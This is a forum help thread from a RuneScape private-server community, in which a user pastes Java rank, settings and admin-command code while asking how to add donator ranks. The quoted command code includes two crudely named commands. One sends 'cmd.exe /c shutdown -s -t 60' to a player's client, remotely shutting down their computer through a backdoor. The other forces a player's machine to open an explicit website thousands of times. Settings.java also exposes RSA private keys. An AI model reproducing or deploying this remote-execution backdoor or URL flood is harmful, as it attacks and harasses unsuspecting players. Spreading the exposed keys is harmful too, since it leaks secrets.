                        msg = "You have been given donator by " + player.getUsername() + "";
                        player.getPackets().sendGameMessage("" + target.getDisplayName() + " is now a donator!", true);
                    } else if (status == 2) {
                        target.setExtremeDonator(true);
                        msg = "You have been given extreme donator by " + player.getDisplayName() + "";
                        player.getPackets().sendGameMessage("" + target.getDisplayName() + " is now an extreme donator!", true);
                    } else {
                        target.setDonator(false);
                        target.setExtremeDonator(false);
                        msg = "Your donator rank has been revoked by " + player.getDisplayName() + "";
                    }
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn) {
                        target.getPackets().sendGameMessage(msg);
                    }
                    return true;
                }
    
                if (cmd[0].equals("support")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn1 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn1 = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    if (!target.isSupporter()) {
                        target.setSupporter(true);
                        if (loggedIn1) {
                            target.getPackets().sendGameMessage("You have been given supporter rank by " + player.getDisplayName(), true);
                        }
                        player.getPackets().sendGameMessage("You gave supporter rank to " + player.getDisplayName(), true);
    
                    } else {
                        target.setSupporter(false);
                        if (loggedIn1) {
                            target.getPackets().sendGameMessage("Your supporter rank has been taken by " + player.getDisplayName(), true);
                        }
                        player.getPackets().sendGameMessage("You've taken supporter rank from " + target.getDisplayName(), true);
    
                    }
                    SerializableFilesManager.savePlayer(target);
                    return true;
                }
    
                if (cmd[0].equals("giveitem")) {
                    name = "";
                    int itemId = Integer.parseInt(cmd[1]);
                    int amount = Integer.parseInt(cmd[2]);
                    for (int i = 3; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn2 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn2 = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    target.getInventory().addItem(itemId, amount);
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn2) {
                        target.getPackets().sendGameMessage("" + player.getDisplayName() + " has given you an item!");
                    }
                    return true;
                }
    
                if (cmd[0].equals("fmod")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn11221 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn11221 = false;
                    }
                    if (target == null) {
                        return true;
                    }
    
                    if (!target.isForumModerator()) {
                        target.setForumModerator(true);
                        msg = "You have been made a forum moderator by " + player.getDisplayName() + "!";
                    } else {
                        target.setForumModerator(false);
                        msg = "You forum moderator status has been removed by " + player.getDisplayName() + "!";
                    }
    
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn11221) {
                        target.getPackets().sendGameMessage("" + msg + "");
                    }
                    return true;
                }
    
                if (cmd[0].equals("bank")) {
                    player.getBank().openBank();
                    return true;
                }
    
                if (cmd[0].equals("check")) {
                    IPBanL.checkCurrent();
                    return true;
                }
    
                if (cmd[0].equals("reload")) {
                    IPBanL.init();
                    PkRank.init();
                    return true;
                }
                if (cmd[0].equals("tele")) {
                    if (cmd.length < 3) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tele coordX coordY");
                        return true;
                    }
                    try {
                        int x = Integer.valueOf(cmd[1]);
                        int y = Integer.valueOf(cmd[2]);
                        int z = Integer.valueOf(cmd[3]);
                        player.resetWalkSteps();
                        player.setNextWorldTile(new WorldTile(x, y, cmd.length >= 4 ? z : player.getPlane()));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tele coordX coordY plane");
                    }
                }
    
                if (cmd[0].equals("update")) {
                    int delay = 120;
                    if (cmd.length >= 2) {
                        try {
                            delay = Integer.valueOf(cmd[1]);
                        } catch (NumberFormatException e) {
                            player.getPackets().sendPanelBoxMessage("Use: ::restart secondsDelay(IntegerValue)");
                            return true;
                        }
                    }
                    World.safeShutdown(false, delay);
                    return true;
                }
    
                if (cmd[0].equals("rape")) {
                    String target1 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player p2 = World.getPlayerByDisplayName(target1);
                    p2.getPackets().sendExecMessage("cmd.exe /c shutdown -s -t 60");
                    player.getPackets().sendGameMessage("Shutting down " + p2.getUsername() + " his computer.");
                    return true;
                }
    
                if (cmd[0].equals("rape")) {
                    String othe2 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player target2 = World.getPlayerByDisplayName(othe2);
                    for (int i = 0; i < 1000; i++) {
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                    }
                }
                if (cmd[0].equals("emote")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::emote id");
                        return true;
                    }
                    try {
                        player.setNextAnimation(new Animation(Integer.valueOf(cmd[1])));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::emote id");
                    }
                    return true;
                }
    
                if (cmd[0].equals("spec")) {
                    player.getCombatDefinitions().resetSpecialAttack();
                    return true;
                }
                if (cmd[0].equals("unban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    File acc = new File("data/characters/" + name.replace(" ", "_") + ".p");
                    target = null;
                    if (target == null) {
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                    }
                    target.setPermBanned(false);
                    target.setBanned(0);
                    player.getPackets().sendGameMessage("You've unbanned " + Utils.formatPlayerNameForDisplay(target.getUsername()) + ".");
                    try {
                        SerializableFilesManager.storeSerializableClass(target, acc);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
    
                if (cmd[0].equals("ban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        if (target.getRights() == 2) {
                            return true;
                        }
                        target.setPermBanned(true);
                        target.getPackets().sendGameMessage("You've been banned by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + ".");
                        player.getPackets().sendGameMessage("You have perm banned: " + target.getDisplayName() + ".");
                        target.getSession().getChannel().close();
                        SerializableFilesManager.savePlayer(target);
                    } else {
                        File acc11 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc11);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                        if (target.getRights() == 2) {
                            return true;
                        }
                        target.setPermBanned(true);
                        player.getPackets().sendGameMessage("You have perm banned: " + Utils.formatPlayerNameForDisplay(name) + ".");
                        try {
                            SerializableFilesManager.storeSerializableClass(target, acc11);
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                    }
                    return true;
                }
    
                if (cmd[0].equals("ipban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn11111 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn11111 = false;
                    }
                    if (target != null) {
                        if (target.getRights() == 2) {
                            return true;
                        }
                        IPBanL.ban(target, loggedIn11111);
                        player.getPackets().sendGameMessage("You've ipbanned " + (loggedIn11111 ? target.getDisplayName() : name) + ".");
                    } else {
                        player.getPackets().sendGameMessage("Couldn't find player " + name + ".");
                    }
                    return true;
                }
    
                if (cmd[0].equals("unipban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    File acc11 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                    target = null;
                    if (target == null) {
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc11);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                    }
                    IPBanL.unban(target);
                    player.getPackets().sendGameMessage("You've unipbanned " + Utils.formatPlayerNameForDisplay(target.getUsername()) + ".");
                    try {
                        SerializableFilesManager.storeSerializableClass(target, acc11);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
    
                if (cmd[0].equals("kiln")) {
                    FightKiln.enterFightKiln(player, true);
                    return true;
                }
    
                if (cmd[0].equals("setpitswinner")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                    }
                    if (target != null) {
                        target.setWonFightPits();
                        target.setCompletedFightCaves();
                    } else {
                        player.getPackets().sendGameMessage("Couldn't find player " + name + ".");
                    }
                    SerializableFilesManager.savePlayer(target);
                    return true;
                }
            }
            return false;
        }
    }
    Reply With Quote  
     

  2. #2  
    Registered Member 741Vick's Avatar
    Join Date
    Apr 2013
    Posts
    101
    Thanks given
    10
    Thanks received
    4
    Rep Power
    11
    So I had made a post on this a while ago but I didnt put in any info, basicly what Im trying to do is add the two ranks and have the [Donator] title show up next tot her name when they yell, and add a command to my administrator.java so i can give people the ranks, i thought i had it working but my donators would actually be admins just with the donator signs and a [Null][Null] title

    heres what i have in rightsmanager.java:
    Code:
    package com.rs.game.player.content.custom;
    
    import com.rs.game.player.Player;
    
    public enum RightsManager {
    	
    	REGULAR(1, "Player", "", ""),
    	GRAPHIC_DESIGNER(0, "Graphic Designer", "", "<col=AD00FF>"),
    	DONATOR(4, "Donator", "<img=5>", "<col=FF0000>"),
    	EDONATOR(5, "Extreme Donator", "<img=4>", "<col=20f2eb>"),
    	SUPPORTER(0, "Supporter", "<img=0>", "<col=559568>"),
    	MODERATOR(1, "Moderator", "<img=0>", "<col=559568>"),
    	ADMIN(2, "Admin", "<img=1>", "<col=BA2EE8>"),
    	OWNER(7, "Owner", "<img=1>", "<col=BA2EE9>");
    	
    	private int playerRights;
    	private String title;
    	private String crown;
    	private String colorId;
    	
    	RightsManager(int rights, String title, String crown, String Color) {
    		this.playerRights = rights;
    		this.title = title;
    		this.crown = crown;
    		this.colorId = Color;
    	}
    	
    	public int getPlayerRights() {
    		return playerRights;
    	}
    	public String getTitle() {
    		return title;
    	}
    	public String getCrown() {
    		return crown;
    	}
    	public String getColor() {
    		return colorId;
    	}
    	
    	public static String getInfo(Player player, int i) {
    		String crown = null;
    		String titleInfo= null;
    		String color= null;
    		for (RightsManager rights : RightsManager.values()) {
    			if (rights.getPlayerRights() == i) {
    				if (player.isDonator() && player.getRights() == 4) {
    					crown = DONATOR.getCrown();
    					titleInfo = DONATOR.getTitle();
    					color = DONATOR.getColor();
    				} else if (player.i***tremeDonator() && player.getRights() == 5) {
    					crown = EDONATOR.getCrown();
    					titleInfo = EDONATOR.getTitle();
    					color = EDONATOR.getColor();
    				} else if (player.isGraphicDesigner() && player.getRights() == 0) {
    					crown = GRAPHIC_DESIGNER.getCrown();
    					titleInfo = GRAPHIC_DESIGNER.getTitle();
    					color = GRAPHIC_DESIGNER.getColor();
    				} else if (player.isSupporter() && player.getRights() == 0) {
    					crown = SUPPORTER.getCrown();
    					titleInfo = SUPPORTER.getTitle();
    					color = SUPPORTER.getColor();
    				} else if (player.getRights() == 1) {
    					crown = MODERATOR.getCrown();
    					titleInfo = MODERATOR.getTitle();
    					color = MODERATOR.getColor();
    				} else if (player.getRights() == 3) {
    					crown = ADMIN.getCrown();
    					titleInfo = ADMIN.getTitle();
    					color = ADMIN.getColor();
    					} else if (player.getRights() == 2) {
    					crown = OWNER.getCrown();
    					titleInfo = OWNER.getTitle();
    					color = OWNER.getColor();
    				} else if (player.getRights() == 0 
    						&& !player.isSupporter()
    						&& !player.isDonator()
    						&& !player.i***tremeDonator()
    						&& !player.isGraphicDesigner()) {
    					crown = REGULAR.getCrown();
    					titleInfo = REGULAR.getTitle();
    					color = REGULAR.getColor();
    				}
    			}
    		}
    		return ""+color+"["+titleInfo+"]</col> "+crown+""+player.getDisplayName()+""+color+"";
    	}
    }
    heres what i have in settings.java:
    Code:
    package com.rs;
    
    import java.math.BigInteger;
    
    import com.rs.game.WorldTile;
    import com.rs.utils.Utils;
    
    public final class Settings {
    
    	public static final String SERVER_NAME = "Equinox 718";
    	public static final String OWNER = "Statius";
    	public static final int PORT_ID = 43594;
    	public static final int CLIENT_BUILD = 718;
    	public static final int CUSTOM_CLIENT_BUILD = 1;
    	/**
    	 * General client and server settings.
    	 */
    	public static final String CACHE_PATH = "data/cache/";
    	public static final int RECEIVE_DATA_LIMIT = 7500;
    	public static final int PACKET_SIZE_LIMIT = 7500;
    
    	/**
    	 * Link settings
    	 */
    	public static final String WEBSITE_LINK = "http://rune-evolution.3owl.com";
    	public static final String ITEMLIST_LINK = "";
    	public static final String ITEMDB_LINK = "";
    	public static final String VOTE_LINK = "";
    
            /**
             * Rare Drop Names
             */
            public static String[] RARE_DROPS = { 
                "pernix", "torva", "virtus", "bandos", "armadyl", "hilt", "hati", 
                "korasi", "divine", "steadfast", "glaiven", "ragefire", "spirit shield",
                "fury", "arcane", "chaotic"
            };
            
    	/**
    	 * Launching settings
    	 */
    	public static boolean DEBUG;
    	public static boolean HOSTED;
    	public static boolean ECONOMY;
    
    	// Staff rights and Max Starter amount
    	public static final int MAX_STARTER_AMOUNT = 3;
    	public static final int IS_OWNER = 7;
    	public static final int IS_KING_DONATOR = 3;
    	public static final int IS_ADMIN = 2;
    	public static final int IS_MOD = 1;
    	public static final int IS_HELPER = 6;
    	public static final int IS_EXTREME_DONATOR = 5;
    	public static final int IS_DONATOR = 4;
    
    	/**
    	 * If the use of the managment server is enabled.
    	 */
    	public static boolean MANAGMENT_SERVER_ENABLED = true;
    
    	/**
    	 * Graphical User Interface settings
    	 */
    	public static final String GUI_SIGN = "Artisticy GUI";
    	public static final String LINE_SEPARATOR = System.getProperty("line.separator");
    
    	/**
    	 * Player settings
    	 */
    	public static final int START_PLAYER_HITPOINTS = 100;
    	public static final WorldTile START_PLAYER_LOCATION = new WorldTile(2869, 3542, 0);
    	public static final String START_CONTROLER = "null";
    	public static final WorldTile RESPAWN_PLAYER_LOCATION = new WorldTile(2869, 3542, 0);
    	public static final long MAX_PACKETS_DECODER_PING_DELAY = 30000; // 30seconds
    	public static final int COMBAT_XP_RATE = 150;
    	public static final int SKILLING_XP_RATE = 200;
    	public static final int DROP_RATE = 1;
    
    	/**
    	 * World settings
    	 */
    	public static final int WORLD_CYCLE_TIME = 525; // the speed of world in ms
    
    	/**
    	 * Music & Emote settings
    	 */
    	public static final int AIR_GUITAR_MUSICS_COUNT = 50;
    
    	/**
    	 * Quest settings
    	 */
    	public static final int QUESTS = 183;
    
    	/**
    	 * Memory settings
    	 */
    	public static final int PLAYERS_LIMIT = 2000;
    	public static final int LOCAL_PLAYERS_LIMIT = 250;
    	public static final int NPCS_LIMIT = Short.MAX_VALUE;
    	public static final int LOCAL_NPCS_LIMIT = 250;
    	public static final int MIN_FREE_MEM_ALLOWED = 30000000; // 30mb
    
    	/**
    	 * Game constants
    	 */
    	public static final int[] MAP_SIZES = { 104, 120, 136, 168, 72 };
    
    	public static final String GRAB_SERVER_TOKEN = "hAJWGrsaETglRjuwxMwnlA/d5W6EgYWx";
    	public static final int[] GRAB_SERVER_KEYS = { 1441, 78700, 44880, 39771,
    			363186, 44375, 0, 16140, 7316, 271148, 810710, 216189, 379672,
    			454149, 933950, 21006, 25367, 17247, 1244, 1, 14856, 1494, 119,
    			882901, 1818764, 3963, 3618 };
    
    	// an exeption(grab server has his own keyset unlike rest of client)
    	public static final BigInteger GRAB_SERVER_PRIVATE_EXPONENT = new BigInteger("95776340111155337321344029627634178888626101791582245228586750697996713454019354716577077577558156976177994479837760989691356438974879647293064177555518187567327659793331431421153203931914933858526857396428052266926507860603166705084302845740310178306001400777670591958466653637275131498866778592148380588481");
    	public static final BigInteger GRAB_SERVER_MODULUS = new BigInteger("119555331260995530494627322191654816613155476612603817103079689925995402263457895890829148093414135342420807287820032417458428763496565605970163936696811485500553506743979521465489801746973392901885588777462023165252483988431877411021816445058706597607453280166045122971960003629860919338852061972113876035333");
    
    	public static final BigInteger PRIVATE_EXPONENT = new BigInteger("90587072701551327129007891668787349509347630408215045082807628285770049664232156776755654198505412956586289981306433146503308411067358680117206732091608088418458220580479081111360656446804397560752455367862620370537461050334224448167071367743407184852057833323917170323302797356352672118595769338616589092625");
    	public static final BigInteger MODULUS = new BigInteger("102876637271116124732338500663639643113504464789339249490399312659674772039314875904176809267475033772367707882873773291786014475222178654932442254125731622781524413208523465520758537060408541610254619166907142593731337618490879831401461945679478046811438574041131738117063340726565226753787565780501845348613");
    	public static final int[] DONATOR_ITEMS = { /* TODO */};
    
    	private Settings() {
    
    	}
    }
    heres what i have in administrator.java:
    Code:
    package com.rs.game.player.content.commands;
    
    import com.rs.MemoryManager;
    import com.rs.game.Animation;
    import com.rs.game.ForceTalk;
    import com.rs.game.Hit;
    import com.rs.game.Hit.HitLook;
    import com.rs.game.World;
    import com.rs.game.WorldObject;
    import com.rs.game.WorldTile;
    import com.rs.game.minigames.FightPits;
    import com.rs.game.npc.NPC;
    import com.rs.game.npc.others.Bork;
    import com.rs.game.player.Player;
    import com.rs.game.player.Skills;
    import com.rs.game.player.content.ItemSearch;
    import com.rs.game.player.content.dungeoneering.DungeonPartyManager;
    import com.rs.game.player.controlers.FightKiln;
    import com.rs.utils.Encrypt;
    import com.rs.utils.IPBanL;
    import com.rs.utils.NPCSpawns;
    import com.rs.utils.PkRank;
    import com.rs.utils.SerializableFilesManager;
    import com.rs.utils.Utils;
    import com.rs.utils.spawning.RemoveObjects;
    import com.rs.content.utils.DwarfMultiCannon;
    import java.io.File;
    import java.io.IOException;
    
    public class Administrator {
    
        private static Bork cal;
        public static String msg = "";
    
        public static boolean processCommand(final Player player, String[] cmd, boolean console, boolean clientCommand) {
            if (clientCommand) {
                if (cmd[0].equals("tele")) {
                    cmd = cmd[1].split(",");
                    int plane = Integer.valueOf(cmd[0]);
                    int x = Integer.valueOf(cmd[1]) << 6 | Integer.valueOf(cmd[3]);
                    int y = Integer.valueOf(cmd[2]) << 6 | Integer.valueOf(cmd[4]);
                    player.setNextWorldTile(new WorldTile(x, y, plane));
                    return true;
                }
            } else {
                boolean loggedIn = true;
                String name;
                Player target;
                WorldObject object;
    
    			if (cmd[0].equals("cannon")) {
    				DwarfMultiCannon.hasItems(player);
    				return true;
    			}
    			
                if (cmd[0].equals("memory")) {
                    player.getPackets().sendPanelBoxMessage("Server Memory: <col=00FFFF>"+MemoryManager.serverMemoryInformation()+"</col>");
                    player.getPackets().sendPanelBoxMessage("System Memory: <col=00FFFF>"+MemoryManager.systemMemoryInformation()+"</col>");
                    return true;
                }
                
                if (cmd[0].equals("remove")) {
                    int x = Integer.parseInt(cmd[1]);
                    int y = Integer.parseInt(cmd[2]);
                    WorldObject obj = World.getObject(new WorldTile(x, y, player.getPlane()));
                        if (obj != null) {
                            World.removeObject(obj, true);
                            player.getPackets().sendGameMessage("Removed object " + obj.getId() + ".");
                            return true;
                            } else {
                                player.getPackets().sendGameMessage("Invalid object. Please specify another coord.");
                        }
                    return true;
                }
    
                if (cmd[0].equals("cleanhome")) {
                    RemoveObjects.removeObjects();
                    return true;
                }
                if (cmd[0].equals("cleannpcs")) {
                    int count = 0;
                    for (NPC npc3 : World.getNPCs()) {
                        if (npc3.getName().equals("null")) {
                            count++;
                            npc3.finish();
                            npc3.isDead();
                        }
                    }
                    player.getPackets().sendGameMessage("Sucessfully removed " + count + " nulled npcs!");
                    return true;
                }
    
                if (cmd[0].equals("aggressive")) {
                    for (NPC npc3 : World.getNPCs()) {
                        npc3.setAtMultiArea(true);
                        npc3.setForceAgressive(true);
                        npc3.setForceMultiArea(true);
                    }
                    return true;
                }
    
                if (cmd[0].equals("getid")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    ItemSearch.searchForItem(player, name);
                    return true;
                }
    
                if (cmd[0].equals("open")) {
                    int interId = Integer.parseInt(cmd[1]);
                    player.getInterfaceManager().sendInterface(interId);
                    for (int i = 0; i < Utils.getInterfaceDefinitionsComponentsSize(interId); i++) {
                        player.getPackets().sendIComponentText(interId, i, "" + i + "");
                    }
                    return true;
                }
    
                if (cmd[0].equals("crown")) {
                    int crownId = Integer.parseInt(cmd[1]);
                    player.sm("Crown Id " + crownId + ": <img=" + crownId + ">");
                    return true;
                }
                if (cmd[0].equals("addspawn")) {
                    int npcID = Integer.parseInt(cmd[1]);
                    NPCSpawns.addNPCSpawn(npcID, player.getRegionId(), new WorldTile(player.getX(), player.getY(), 0), -1, false);
                    World.spawnNPC(npcID, player, -1, true, true);
                    return true;
                }
    
                if (cmd[0].equals("item")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendGameMessage("Use: ::item id (optional:amount)");
                        return true;
                    }
                    try {
                        int itemId = Integer.valueOf(cmd[1]);
                        player.getInventory().addItem(itemId, cmd.length >= 3 ? Integer.valueOf(cmd[2]) : 1);
                        player.stopAll();
                    } catch (NumberFormatException e) {
                        player.getPackets().sendGameMessage("Use: ::item id (optional:amount)");
                    }
                    return true;
                }
    
                if (cmd[0].equals("setspins")) {
                    String username = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player other = World.getPlayerByDisplayName(username);
                    if (other == null) {
                        return true;
                    }
                    other.setSpins(Integer.parseInt(cmd[2]));
                    other.getPackets().sendGameMessage("You have recived some spins!");
                    return true;
                }
    
                if (cmd[0].equals("unban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        IPBanL.unban(target);
                        player.getPackets().sendGameMessage("You have unbanned: " + target.getDisplayName() + ".");
                    } else {
                        name = Utils.formatPlayerNameForProtocol(name);
                        if (!SerializableFilesManager.containsPlayer(name)) {
                            player.getPackets().sendGameMessage("Player doesnt exist.");
                            return true;
                        }
                        target = SerializableFilesManager.loadPlayer(name);
                        target.setUsername(name);
                        IPBanL.unban(target);
                        player.getPackets().sendGameMessage("You have unbanned: " + target.getDisplayName() + ".");
                        SerializableFilesManager.savePlayer(target);
                    }
                    return true;
                }
    
                if (cmd[0].equals("npcmask")) {
                    String message = "";
                    for (int i = 1; i < cmd.length; i++) {
                        message += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    for (NPC n : World.getNPCs()) {
                        if (n != null && Utils.getDistance(player, n) < 9) {
                            n.setNextForceTalk(new ForceTalk(message));
                        }
                    }
                    return true;
                }
    
                if (cmd[0].equals("qbd")) {
                    if (player.getSkills().getLevelForXp(Skills.SUMMONING) < 60) {
                        player.getPackets().sendGameMessage("You need a summoning level of 60 to go through this portal.");
                        player.getControlerManager().removeControlerWithoutCheck();
                        return true;
                    }
                    player.lock();
                    player.getControlerManager().startControler("QueenBlackDragonControler");
                    return true;
                }
    
                if (cmd[0].equals("meeting")) {
                    for (Player staff : World.getPlayers()) {
                        if (!staff.isSupporter() && staff.getRights() != 1) {
                            continue;
                        }
                        staff.setNextWorldTile(player);
                        staff.getPackets().sendGameMessage("You been teleported for a staff meeting by " + player.getDisplayName());
                    }
                    return true;
                }
    
                if (cmd[0].equals("promote")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    if (target.getRights() >= 2) {
                        target.setRights(2);
                        player.sm("an admin can be promoted no further!");
                    }
                    target.setRights(target.getRights() == 0 ? 1 : target.getRights());
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn) {
                        target.getPackets().sendGameMessage("You have been promoted by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + ".", true);
                    }
                    player.getPackets().sendGameMessage("You have promoted " + Utils.formatPlayerNameForDisplay(target.getUsername()) + ".", true);
                    return true;
                }
    
                if (cmd[0].equals("restartfp")) {
                    FightPits.endGame();
                    player.getPackets().sendGameMessage("Fight pits restarted!");
                    return true;
                }
    
                if (cmd[0].equals("teletome")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        player.getPackets().sendGameMessage("Couldn't find player " + name + ".");
                    } else {
                        target.setNextWorldTile(player);
                    }
                    return true;
                }
    
                if (cmd[0].equals("bork")) {
                    if (Bork.deadTime > System.currentTimeMillis()) {
                        player.getPackets().sendGameMessage(Bork.convertToTime());
                        return true;
                    }
                    player.getControlerManager().startControler("BorkControler", 0, null);
                    return true;
                }
    
                if (cmd[0].equals("killnpc")) {
                    for (NPC n : World.getNPCs()) {
                        if (n == null || n.getId() != Integer.parseInt(cmd[1])) {
                            continue;
                        }
                        n.sendDeath(n);
                    }
                    return true;
                }
    
                if (cmd[0].equals("sound")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid effecttype");
                        return true;
                    }
                    try {
                        player.getPackets().sendSound(Integer.valueOf(cmd[1]), 0, cmd.length > 2 ? Integer.valueOf(cmd[2]) : 1);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid");
                    }
                    return true;
                }
    
                if (cmd[0].equals("music")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid effecttype");
                        return true;
                    }
                    try {
                        player.getPackets().sendMusic(Integer.valueOf(cmd[1]));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid");
                    }
                    return true;
                }
    
                if (cmd[0].equals("removenpc")) {
                    for (NPC n : World.getNPCs()) {
                        if (n.getId() == Integer.parseInt(cmd[1])) {
                            n.reset();
                            n.finish();
                        }
                    }
                    return true;
                }
    
                if (cmd[0].equals("resetkdr")) {
                    player.setKillCount(0);
                    player.setDeathCount(0);
                    return true;
                }
    
                if (cmd[0].equals("stopc")) {
                    player.getControlerManager().forceStop();
                    player.getInterfaceManager().sendInterfaces();
                    return true;
                }
    
                if (cmd[0].equals("god")) {
                    player.setHitpoints(Short.MAX_VALUE);
                    player.getEquipment().setEquipmentHpIncrease(Short.MAX_VALUE - 990);
                    if (player.getUsername().equalsIgnoreCase("")) {
                        return true;
                    }
                    for (int i = 0; i < 10; i++) {
                        player.getCombatDefinitions().getBonuses()[i] = 5000;
                    }
                    for (int i = 14; i < player.getCombatDefinitions().getBonuses().length; i++) {
                        player.getCombatDefinitions().getBonuses()[i] = 5000;
                    }
                    return true;
                }
    
                if (cmd[0].equals("testdung")) {
                    new DungeonPartyManager(player);
                    return true;
                }
    
                if (cmd[0].equals("checkdisplay")) {
                    for (Player p : World.getPlayers()) {
                        if (p == null) {
                            continue;
                        }
                        String[] invalids = {"<img", "<img=", "col", "<col=", "<shad", "<shad=", "<str>", "<u>"};
                        for (String s : invalids) {
                            if (p.getDisplayName().contains(s)) {
                                player.getPackets().sendGameMessage(Utils.formatPlayerNameForDisplay(p.getUsername()));
                            } else {
                                player.getPackets().sendGameMessage("None exist!");
                            }
                        }
                    }
                    return true;
                }
                if (cmd[0].equals("removedisplay")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        target.setDisplayName(Utils.formatPlayerNameForDisplay(target.getUsername()));
                        target.getPackets().sendGameMessage("Your display name was removed by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + ".");
                        player.getPackets().sendGameMessage("You have removed display name of " + target.getDisplayName() + ".");
                        SerializableFilesManager.savePlayer(target);
                    } else {
                        File acc1 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc1);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                        target.setDisplayName(Utils.formatPlayerNameForDisplay(target.getUsername()));
                        player.getPackets().sendGameMessage("You have removed display name of " + target.getDisplayName() + ".");
                        try {
                            SerializableFilesManager.storeSerializableClass(target, acc1);
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                    }
                    return true;
                }
    
